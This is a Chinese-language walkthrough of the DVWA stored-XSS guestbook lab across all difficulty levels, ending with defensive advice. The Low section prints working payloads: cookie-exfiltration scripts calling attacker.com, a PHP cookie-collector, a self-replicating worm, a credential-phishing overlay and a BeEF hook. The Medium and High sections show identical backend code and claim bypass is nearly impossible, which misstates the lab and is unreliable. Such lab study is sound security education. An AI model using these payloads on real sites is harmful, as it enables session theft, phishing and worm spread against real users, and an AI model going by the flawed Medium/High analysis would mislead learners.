目录
漏洞简介
什么是存储型XSS(Stored Cross-Site Scripting)?
存储型XSS也称为持久化XSS,攻击者将恶意脚本存储在服务器端(数据库、文件等),当其他用户访问包含恶意数据的页面时,脚本会自动执行。
攻击流程:
- 攻击者提交恶意脚本到服务器
- 服务器将恶意脚本存储到数据库
- 其他用户访问页面
- 服务器从数据库读取恶意脚本并输出
- 用户浏览器执行恶意脚本
危害:
- 持久化攻击(一次注入,多次触发)
- 影响所有访问用户
- 蠕虫传播(自我复制)
- 窃取管理员Cookie
- 网站挂马
- 完全控制用户会话
与反射型XSS的区别:
- 反射型:一次性,需要用户点击链接
- 存储型:持久化,所有访问用户都会中招
DVWA场景:
留言板(Guestbook),用户可以提交姓名和留言。
Low 难度
攻击目标
完全未过滤的留言板,恶意脚本永久存储。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$name = trim( $_POST[ 'txtName' ] ); $message = trim( $_POST[ 'mtxMessage' ] );
$name = mysql_real_escape_string( $name ); $message = mysql_real_escape_string( $message );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
}
?>
|
显示留言的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
$query = "SELECT * FROM guestbook";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
while( $row = mysql_fetch_assoc( $result ) ) {
echo "<div class='comment'>"; echo "<div class='name'>" . $row[ 'name' ] . "</div>"; echo "<div class='message'>" . $row[ 'comment' ] . "</div>"; echo "</div>"; }
mysql_close();
?>
|
漏洞分析
存储流程:
1
| 用户输入 → trim() → mysql_real_escape_string() → 存入数据库
|
输出流程:
核心问题:
- mysql_real_escape_string()不防XSS - 只转义
'、"、\等SQL字符
- 不转义HTML字符 -
<>、&等直接存储
- 输出时无编码 - 直接echo数据库内容
- 永久存储 - 恶意脚本一直存在,所有访问者都会执行
攻击步骤
步骤1:基础XSS攻击
攻击1:在Name字段注入
1 2 3 4 5 6 7 8 9
| <script>alert('XSS')</script>
Normal message
数据库存储:name = '<script>alert('XSS')</script>' 每次有人访问留言板,都会弹出XSS对话框
|
攻击2:在Message字段注入
1 2 3 4 5 6 7 8
| Alice
<script>alert(document.cookie)</script>
所有访问者都会看到自己的Cookie
|
步骤2:窃取所有用户Cookie
1 2 3 4 5 6 7 8 9
| <script>
var img = new Image(); img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie; </script>
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">
|
攻击者服务器(steal.php):
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
$cookie = $_GET['cookie']; $ip = $_SERVER['REMOTE_ADDR']; $time = date('Y-m-d H:i:s');
$log = fopen('stolen_cookies.txt', 'a'); fwrite($log, "$time - $ip - $cookie\n"); fclose($log);
header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=='); ?>
|
步骤3:XSS蠕虫(自我复制)
1 2 3 4 5 6 7 8 9 10 11 12
| <script>
var payload = document.querySelector('.comment .message').innerHTML;
var xhr = new XMLHttpRequest(); xhr.open('POST', '/dvwa/vulnerabilities/xss_s/', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('txtName=Worm&mtxMessage=' + encodeURIComponent(payload) + '&btnSign=Sign+Guestbook'); </script>
|
步骤4:钓鱼攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <script> // 覆盖整个页面内容 document.body.innerHTML = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;"> <div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;"> <h2>Session Expired</h2> <p>Please login again to continue:</p> <form action="http://attacker.com/phish.php" method="POST"> <input type="text" name="user" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;"> <input type="password" name="pass" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;"> <button type="submit" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">Login</button> </form> </div> </div> `; </script>
|
步骤5:BeEF挂钩(控制浏览器)
1 2 3 4 5 6 7 8 9 10 11
| <script src="http://attacker.com:3000/hook.js"></script>
|
Medium 难度
攻击目标
添加了简单的过滤,但可以绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$name = trim( $_POST[ 'txtName' ] ); $message = trim( $_POST[ 'mtxMessage' ] );
$name = strip_tags( addslashes( $name ) );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
|
新增防护
- strip_tags() - 移除所有HTML标签
- addslashes() - 添加反斜杠转义
仍存在的漏洞
关键问题:
虽然使用了strip_tags(),但:
- Name字段限制长度 - 通常很短,难以注入
- Message字段也使用strip_tags() - 标签被移除
- 但输出时仍未编码 - 可能存在绕过方式
绕过方法
Medium难度的限制:
DVWA Medium难度的存储型XSS实际上很难绕过,因为:
- Name字段长度限制
- Message字段使用strip_tags()
- 几乎所有HTML标签都被移除
理论绕过(在某些场景下):
如果输出上下文特殊,可能利用:
1 2 3 4 5 6 7 8
| <script>var name = '<?php echo $name; ?>';</script>
<input value="<?php echo $name; ?>">
|
实际情况:
Medium难度的DVWA存储型XSS使用了strip_tags(),基本可以防止大部分攻击。但这不代表strip_tags()是完美的防御,在某些复杂场景下仍可能被绕过。
High 难度
攻击目标
更严格的过滤,但仍有绕过可能。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$name = trim( $_POST[ 'txtName' ] ); $message = trim( $_POST[ 'mtxMessage' ] );
$name = strip_tags( addslashes( $name ) ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
|
新增防护
High难度与Medium类似,主要防护:
- strip_tags() - 移除HTML标签
- 严格的输入验证
为什么难以绕过?
由于使用了strip_tags(),所有HTML标签都被移除,很难进行传统的XSS攻击。
Impossible 难度
攻击目标
使用htmlspecialchars()和PDO,真正安全。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$name = trim( $_POST[ 'txtName' ] ); $message = trim( $_POST[ 'mtxMessage' ] );
$name = htmlspecialchars( $name ); $message = htmlspecialchars( $message );
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->execute(); }
generateSessionToken();
?>
|
显示留言(同样使用htmlspecialchars):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
$data = $db->prepare( 'SELECT comment, name FROM guestbook' ); $data->execute();
while( $row = $data->fetch() ) { echo "<div class='comment'>"; echo "<div class='name'>" . htmlspecialchars( $row[ 'name' ] ) . "</div>"; echo "<div class='message'>" . htmlspecialchars( $row[ 'comment' ] ) . "</div>"; echo "</div>"; }
?>
|
完善的防护机制
多层防御:
- CSRF Token - 防止跨站请求伪造
- htmlspecialchars() - 输入时编码
- PDO预编译 - 防止SQL注入
- 输出时再次编码 - 双重保险
工作流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 输入:<script>alert('XSS')</script>
htmlspecialchars()编码: <script>alert('XSS')</script>
存入数据库: <script>alert('XSS')</script>
从数据库读取: <script>alert('XSS')</script>
再次htmlspecialchars(): <script>alert('XSS')</script>
浏览器显示(纯文本): <script>alert('XSS')</script>
不会执行脚本!
|
为什么无法攻破?
所有攻击都被转义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 攻击1:<script>alert('XSS')</script> 存储:<script>alert('XSS')</script> 显示:<script>alert('XSS')</script>(文本) 结果:失败
攻击2:<img src=x onerror=alert('XSS')> 存储:<img src=x onerror=alert('XSS')> 显示:<img src=x onerror=alert('XSS')>(文本) 结果:失败
攻击3:"><script>alert('XSS')</script> 存储:"><script>alert('XSS')</script> 显示:"><script>alert('XSS')</script>(文本) 结果:失败
|
防御建议
代码层面
1. 输入输出双重编码
1 2 3 4 5 6 7 8 9 10 11 12
| $input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');
$stmt = $pdo->prepare("INSERT INTO comments (content) VALUES (:content)"); $stmt->execute(['content' => $input]);
$stmt = $pdo->query("SELECT content FROM comments"); while ($row = $stmt->fetch()) { echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8'); }
|
2. 使用专门的XSS过滤库
1 2 3 4 5
| require_once 'HTMLPurifier.auto.php'; $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $clean_html = $purifier->purify($dirty_html);
|
3. 内容安全策略(CSP)
1 2
| header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
|
4. HttpOnly和Secure Cookie
1 2 3 4 5 6
| setcookie('session', $value, [ 'httponly' => true, 'secure' => true, 'samesite' => 'Strict' ]);
|
数据库层面
- 存储编码后的数据 - 存入数据库前先编码
- 输出时再次编码 - 双重保险
- 定期审计 - 检查数据库中是否有恶意数据
监控层面
- WAF规则 - 检测XSS payload
- 日志监控 - 记录可疑输入
- 定期扫描 - 使用工具扫描XSS漏洞
总结对比
| 特性 |
Low |
Medium |
High |
Impossible |
| 输入过滤 |
❌ |
strip_tags |
strip_tags |
htmlspecialchars |
| 输出编码 |
❌ |
❌ |
❌ |
✅ htmlspecialchars |
| SQL防护 |
mysql_escape |
mysqli_escape |
mysqli_escape |
PDO预编译 |
| CSRF防护 |
❌ |
❌ |
❌ |
✅ Token |
| 持久化 |
✅ |
✅ |
✅ |
✅(但安全) |
| 攻击难度 |
极易 |
较难 |
难 |
不可能 |
| 影响范围 |
所有用户 |
所有用户 |
所有用户 |
无影响 |
实战建议
攻击演示:
- Low难度 - 直接注入
<script>alert(1)</script>
- Medium难度 - 尝试各种绕过(较难)
- High难度 - 基本无法绕过strip_tags()
- Impossible难度 - 完全安全
实战技巧:
- 存储型XSS影响所有用户,危害更大
- 优先测试管理员会访问的页面
- 可以结合CSRF进行自动化蠕虫攻击
- 使用BeEF可以完全控制受害者浏览器
防御重点:
- 输入输出都要编码
- 使用htmlspecialchars()而不是strip_tags()
- 设置HttpOnly Cookie
- 实施CSP策略
道德准则:
- 只在授权环境测试
- 不传播XSS蠕虫到真实网站
- 学习目的是保护用户安全